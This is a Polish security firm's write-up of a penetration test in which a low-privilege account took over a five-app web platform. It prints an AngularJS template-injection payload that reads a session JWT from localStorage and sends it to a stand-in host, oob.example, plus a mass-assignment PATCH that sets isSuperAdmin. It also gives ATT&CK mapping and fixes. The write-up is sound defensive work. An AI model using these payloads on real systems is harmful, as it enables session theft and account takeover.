Elementrica
03Realizacje04Referencje05Firma06Aktualności07Kontakt
PLENDE

Jedno konto operacyjne, pełne przejęcie platformy

Testy penetracyjne
Jedno konto operacyjne, pełne przejęcie platformy

Klient dał nam dostęp do pięciu powiązanych aplikacji webowych i jedno pytanie: czy ktoś z niskimi uprawnieniami może dosięgnąć tego, co zarezerwowane dla góry. Odpowiedź zajęła nam dwa tygodnie i wyszła gorsza, niż ktokolwiek zakładał.

Konto, które w założeniu miało widzieć tylko jeden moduł, skończyło jako Super Administrator całej platformy, z możliwością tworzenia kolejnych Super Adminów.

Poniżej pokazujemy cały łańcuch krok po kroku, z payloadami CSTI, eskalacją przez Mass Assignment i mapowaniem na MITRE ATT&CK dla blue teamu.

Kontekst

Administrator otworzył zwykłą listę rekordów. Nie kliknął w podejrzany link, nie pobrał załącznika, nie wpisał hasła na cudzej stronie. Zrobił jedną z najbardziej rutynowych rzeczy w swojej pracy: wszedł na widok, na który wchodzi codziennie. W tej samej sekundzie jego token sesji wyszedł z budynku i trafił na nasz serwer.

Klient poprosił nas o test platformy złożonej z pięciu odrębnych aplikacji webowych. Każda ma własny panel logowania, ale tożsamość i autoryzacja są wspólne: jedno logowanie uwierzytelnia użytkownika we wszystkich pięciu, a token sesji w formacie JWT jest trzymany po stronie przeglądarki, w Local Storage. Test prowadziliśmy w modelu grey-box, na środowisku produkcyjnym, z twardym warunkiem: nie wolno zakłócić pracy aplikacji ani ruszyć danych produkcyjnych. Dostaliśmy zestaw kont testowych obejmujący wszystkie osiem ról w systemie, od najniższej operacyjnej po Administratora.

Wyzwanie

Warstwa ochrony aplikacji była przygotowana. To ważne, bo zmienia całą historię. Ruch szedł wyłącznie po HTTPS, serwer akceptował tylko nowoczesne TLS 1.2 i 1.3, starsze protokoły były wyłączone. Polityka haseł była wymuszana spójnie na froncie i na backendzie, więc nie dało się jej ominąć zwykłym obejściem walidacji w przeglądarce. Było MFA. Był model ośmiu ról z granularnym podziałem uprawnień. Było SSO. Na slajdzie z architekturą wyglądało to całkiem porządnie.

Problem był w dwóch założeniach, które osobno wyglądają niewinnie, a razem otwierają drzwi do ataku. Pierwsze: sesja żyje po stronie klienta, w miejscu, do którego dobiera się dowolny JavaScript uruchomiony na stronie. Drugie: front stoi na frameworku, który od grudnia 2021 nie dostaje już poprawek bezpieczeństwa. Do tego doszła autoryzacja egzekwowana nierówno, raz porządnie, raz wcale. Każdy z tych elementów da się obronić w oderwaniu od siebie. Problem w tym, że atakujący nie atakuje osobnych elementów, tylko poskładaną całość.

Co zrobiliśmy

Zaczęliśmy od rozpoznania. Zmapowaliśmy pięć aplikacji, osiem ról i to, kto dokąd sięga. Po drodze aplikacja sama się przedstawiła: gadatliwe komunikaty o błędach zdradzały technologię backendu, a analiza frontu pokazała AngularJS w wersji 1.7.9. To wersja po zakończeniu wsparcia. Przy okazji naliczyliśmy 20 publicznie znanych podatności CVE w czterech bibliotekach klienckich, których wersje aplikacja ujawniała wprost.

Potem znalazły się cztery rzeczy, które razem tworzą łańcuch przejęcia.

Kontrola dostępu, która sprawdza za mało. Ponad dziesięć endpointów API weryfikowało wyłącznie to, czy użytkownik jest zalogowany, nie sprawdzając, czy jego rola w ogóle uprawnia go do danego zasobu. Model ośmiu ról istniał w dokumentacji, ale nie w kodzie tych endpointów.

GET /api/v1/<zasob>/<ID>     # ta sama odpowiedź dla każdej z 8 ról

Wstrzyknięcie kodu przez CSTI. AngularJS interpretuje wyrażenia w podwójnych klamrach. Jeśli dane użytkownika trafiają do szablonu bez sanityzacji, przeglądarka potraktuje je jako kod, nie jako tekst. Nasz dowód działania (proof of concept) wychodził z sandboxa frameworka i uruchamiał dowolny JavaScript:

{{ constructor.constructor('alert(1)')() }}

Potwierdziliśmy to w trzech różnych komponentach, ale problem jest architektoniczny, nie punktowy. Wynika z samego frameworka, więc każde miejsce, w którym dane użytkownika renderują się w kontekście AngularJS bez czyszczenia, jest potencjalnym wektorem.

Wylogowanie, które nie wylogowywało. Każda z pięciu aplikacji trzyma w Local Storage własny token. Kliknięcie „wyloguj” w jednej z nich usuwało token tylko tej jednej aplikacji, a cztery pozostałe zostawiało aktywne. To trochę tak, jakby zamek miał pięć kluczy, a przycisk wylogowania grzecznie wyjmował z niego jeden i zostawiał cztery. W skrajnym przypadku w jednej przeglądarce potrafiły współistnieć tokeny dwóch różnych użytkowników naraz. Brak izolacji sesji między aplikacjami okazał się tym elementem, który zamienił CSTI z ciekawostki w realne przejęcie konta.

Złożyliśmy to w całość. Z konta o najniższych uprawnieniach umieściliśmy payload CSTI w polu, które renderuje się na widoku dostępnym także dla wyższej roli. Payload odczytuje token JWT z Local Storage i wysyła go na kontrolowany przez nas serwer, kanałem out-of-band:

{{ constructor.constructor('fetch("https://oob.example/?t="+localStorage.getItem("app_access_token"))')() }}

Kiedy Administrator wszedł na ten widok, jego przeglądarka wykonała nasz kod i przysłała nam jego token. Token był ważny przez 48 godzin, więc mieliśmy komfortowe okno. Dołączaliśmy go do żądań jako Authorization: Bearer <token> i od tej chwili API traktowało nas jak Administratora.

Na koniec eskalacja na sam szczyt przez Mass Assignment. Żądanie modyfikacji profilu niosło w treści pole, którego nie ma nigdzie w interfejsie, a które backend przyjmował bez walidacji:

PATCH /api/v1/users/<ID>
{
  "isSuperAdmin": true      // pole niewidoczne w UI, backend akceptuje bez kontroli
}

Ustawiliśmy je na true. Administrator stał się Super Administratorem. Zyskaliśmy funkcje niedostępne wcześniej, w tym możliwość założenia kolejnego konta z uprawnieniami Super Administratora. Konto operacyjne uzyskało najwyższe uprawnienia.

Do tego dochodzi zestaw słabych punktów, które ten łańcuch dodatkowo poszerzają. MFA opierało się na sześciocyfrowym kodzie SMS ważnym pięć minut, bez limitu prób i bez unieważniania kodu. Milion kombinacji to niby dużo, ale bez limitu prób i przy możliwości żądania nowego kodu w kółko okno ataku właściwie nie miało końca. Logowanie nie miało ograniczenia liczby prób, więc atak siłowy na hasła szedł bez oporu. Endpoint logowania zdradzał, czy dany login istnieje, przez różnicę w czasie odpowiedzi: około 500 ms dla istniejącego użytkownika, około 150 ms dla nieistniejącego, przy identycznym komunikacie błędu. 100 ms to aż nadto, żeby zbudować listę prawdziwych loginów do dalszych ataków. Do tego dorzuciliśmy nieograniczony upload plików weryfikowany tylko po rozszerzeniu i konfigurację CORS ufającą dowolnej domenie.

Mapowanie łańcucha na MITRE ATT&CK, dla zespołu, który będzie budował detekcję:

TechnikaIDZastosowanie w tym teście
Command and Scripting Interpreter: JavaScriptT1059.007Wykonanie payloadu CSTI w przeglądarce ofiary
Steal Web Session CookieT1539Odczyt tokena JWT z Local Storage
Exfiltration Over Web ServiceT1567Wyprowadzenie tokena kanałem out-of-band
Use Alternate Authentication Material: Application Access TokenT1550.001Przejęcie sesji przez podstawiony token Bearer
Abuse Elevation Control MechanismT1548Eskalacja do Super Administratora przez Mass Assignment
Create AccountT1136Założenie nowego konta Super Administratora
Brute ForceT1110Łamanie kodu MFA i haseł bez ograniczeń
Account DiscoveryT1087Enumeracja loginów przez różnicę czasu odpowiedzi

Rezultat

Rola, która miała widzieć jeden moduł, dostała klucze do całej platformy i możliwość dorabiania kolejnych. To nie był jeden błąd, to był łańcuch: framework po zakończeniu oficjalnego wsparcia, sesja trzymana tam, gdzie sięga dowolny skrypt, wylogowanie zostawiające aktywne tokeny i autoryzacja sprawdzająca „czy jesteś zalogowany” zamiast „czy jesteś uprawniony”. Wyjęcie dowolnego ogniwa rozrywa cały łańcuch. I tak właśnie układają się rekomendacje.

Co naprawić, w kolejności od najpilniejszego:

  • Wymusić kontrolę autoryzacji na każdym endpoincie API osobno, sprawdzając rolę, a nie tylko fakt uwierzytelnienia.
  • Zabrać backendowi możliwość przyjmowania pól, których nie ma w interfejsie. Wartość taką jak isSuperAdmin może zmieniać wyłącznie ten, kto już jest Super Administratorem.
  • Do czasu migracji z AngularJS rygorystycznie walidować i sanityzować każde dane użytkownika renderowane w kontekście szablonu. Docelowo zaplanować wyjście na aktywnie wspierany framework.
  • Naprawić wylogowanie tak, żeby jedna operacja logout unieważniała tokeny wszystkich aplikacji platformy, i rozważyć przeniesienie sesji poza Local Storage.
  • Skrócić czas życia tokena JWT do 15 minut i dołożyć mechanizm odświeżania.
  • Unieważniać kod MFA po trzech do pięciu nieudanych próbach i wprowadzić ograniczanie liczby żądań na logowaniu, na adres i na login.
  • Wyrównać czas odpowiedzi logowania tak, żeby serwer liczył ten sam koszt dla istniejącego i nieistniejącego konta.
  • Ograniczyć wgrywanie plików kontrolą typu zawartości, a CORS zawęzić do białej listy domen.

Jedną rzecz warto dopisać na plus. Część podatności zniknęła jeszcze w trakcie testu, po wgraniu nowej wersji aplikacji. To dobry znak: zespół, który łata błędy, zanim skończy się test, działa szybko. Brakowało mu tylko kogoś, kto te błędy pokaże.

Zajrzyj na chwilę do własnej aplikacji. Gdzie trzyma tokeny sesji i co dokładnie się z nimi dzieje, kiedy użytkownik klika „wyloguj”? Jeśli odpowiedź brzmi „w Local Storage” i „usuwa się jeden z kilku”, to każde pole tekstowe w tej aplikacji może być cichym przekazaniem cudzej sesji. Chętnie to sprawdzimy, zanim zrobi to ktoś inny.

Jedno konto, pięć aplikacji i wspólna sesja. Twoja platforma wytrzymałaby taki łańcuch?

Umów rozmowę z konsultantem, wspólnie omówimy zakres testu platformy webowej, ryzyka i to, jak taki łańcuch mógłby wyglądać u Ciebie.

Poprzedni
Cała załoga miała dostęp do magazynu z sekretami. Wystarczyła jedna reguła grupy
Następny
Przemyt żądań na serwerze, którego nie miało być w sieci

Wszystkie realizacje zanonimizowano sektorowo, bez nazw, dat i danych pozwalających zidentyfikować klienta, zgodnie z poufnością. Nie publikujemy żadnych prawdziwych podatności ani danych technicznych klienta.